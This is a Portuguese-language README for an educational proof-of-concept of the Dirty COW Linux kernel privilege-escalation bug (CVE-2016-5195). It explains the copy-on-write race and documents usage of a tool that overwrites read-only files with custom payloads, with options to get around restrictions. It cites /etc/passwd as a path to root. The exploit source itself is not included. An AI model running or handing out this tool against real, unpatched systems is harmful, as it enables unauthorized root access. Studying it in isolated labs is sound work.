PoC Educacional do Dirty COW (CVE-2016-5195)

⚠️ Aviso Legal

Este código é somente para FINS EDUCACIONAIS. Qualquer uso malicioso é estritamente proibido e ilegal.

📖 O que é Dirty COW?

O Dirty COW (CVE-2016-5195) é uma vulnerabilidade de escalonamento de privilégios no kernel Linux que explora uma condição de corrida no mecanismo copy-on-write (COW) do kernel. Esta vulnerabilidade afeta kernels Linux da versão 2.6.22 (lançada em 2007) até versões anteriores a:

4.8.3
4.7.9
4.4.26

Detalhes Técnicos

A vulnerabilidade ocorre no sistema de gerenciamento de memória do kernel:

Copy-On-Write (COW): Quando um processo mapeia um arquivo com MAP_PRIVATE, as modificações devem criar uma cópia privada
Condição de Corrida (Race Condition): Duas threads competindo entre madvise(MADV_DONTNEED) e a escrita em /proc/self/mem
Exploração: Sob condições específicas de tempo, as escritas podem contornar a proteção COW e modificar o arquivo original

Impacto

Escalonamento de Privilégios: Modificar arquivos somente leitura pertencentes ao root
Comprometimento do Sistema: Potencial para obter acesso root modificando arquivos de sistema como /etc/passwd
Integridade dos Dados: Modificação não autorizada de arquivos críticos do sistema

🛡️ Notas de Segurança para Testes

⚠️ CRÍTICO: Teste Somente em Ambiente Isolado

NUNCA execute isso em sistemas de produção ou sistemas que você não possui!

Ambiente de Teste Recomendado:

Máquina Virtual (VM): Use VMware, VirtualBox ou KVM
Contêiner: Contêiner Docker com kernel vulnerável
Laboratório Isolado: Máquina de teste dedicada sem dados importantes
Requisitos do Kernel: Versões de kernel Linux 2.6.22 a 4.8.2

Práticas Seguras de Teste:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Compilação e Uso

Pré-requisitos

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilação

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Uso Básico

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Opções de Linha de Comando

Option	Descrição	Padrão	Máx.
`-t <file>`	Caminho do arquivo alvo	`/tmp/dirty_cow_test`	-
`-p <payload>`	Payload de texto personalizado	String de teste	-
`-f <file>`	Carregar payload binário de arquivo	-	-
`-i <num>`	Número de iterações	10,000,000	100,000,000
`-n <num>`	Número de processos paralelos	1	8
`-r <num>`	Tentativas de repetição (retry)	1	10
`-P`	Usar ptrace em vez de /proc/self/mem	Desabilitado	-
`-D`	Habilitar varredura dinâmica de offsets	Desabilitado	-
`-v`	Saída detalhada (verbose)	Desabilitado	-
`-l <file>`	Caminho do arquivo de log	`exploit_log.txt`	-
`-h`	Mostrar ajuda	-	-

🔬 Recursos Avançados

1. Múltiplos Métodos de Ataque

Método 1: Escrita em /proc/self/mem (padrão)
Método 2: ptrace(PTRACE_POKETEXT) para sistemas restritos

2. Varredura Dinâmica de Offsets

Varre múltiplos offsets de memória para encontrar a melhor posição de escrita:

./main -D -v  # Enable dynamic offset scanning

3. Condições de Corrida Multi-Processo

Lance múltiplos processos para condições de corrida intensas:

./main -n 4  # Use 4 parallel processes

4. Suporte a Payload Binário

Carregue dados binários arbitrários de arquivos:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Lógica Automática de Repetição (Retry)

Repita tentativas falhas automaticamente:

./main -r 5  # Retry up to 5 times

6. Verificação de Integridade de Arquivo

Usa hash SHA-256 para verificar modificações em arquivos:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Saída e Logging

Exemplo de Saída no Console

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Formato do Arquivo de Log

A ferramenta cria logs detalhados em exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Cenários de Teste

Cenário 1: Teste Básico de Funcionalidade

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Cenário 2: Teste de Estresse

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Cenário 3: Ambiente Restrito

# Test when /proc/self/mem is blocked
./main -P -D -v

Cenário 4: Teste de Payload Binário

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Entendendo o Exploit

Temporização da Condição de Corrida

O exploit funciona criando uma corrida entre duas operações:

Thread 1: madvise(MADV_DONTNEED) - Diz ao kernel para descartar páginas de memória
Thread 2: Escrita em /proc/self/mem - Tenta escrever na memória mapeada

Fatores de Sucesso

Versão do Kernel: Deve ser vulnerável (< 4.8.3)
Temporização: A condição de corrida deve ocorrer em um momento preciso
Mapeamento de Memória: O arquivo deve ser mapeado com MAP_PRIVATE
Permissões: É necessário ter acesso de leitura ao arquivo alvo

Por Que Funciona

Quando a condição de corrida é bem-sucedida:

A Thread 1 descarta a página COW
As escritas da Thread 2 ocorrem antes que a nova página COW seja criada
A escrita vai diretamente para o arquivo original em vez da cópia privada

🛠️ Solução de Problemas

Problemas Comuns

1. "Exploit falhou ou iterações insuficientes"

Solução: Aumente as iterações com -i ou use múltiplos processos com -n

2. "Falha no acesso a /proc/self/mem"

Solução: Use o método ptrace com a flag -P

3. "O sistema pode não ser vulnerável"

Verifique a versão do kernel: uname -r
Certifique-se de que o kernel seja anterior à versão 4.8.3

dirtycow-lab

Mais Populares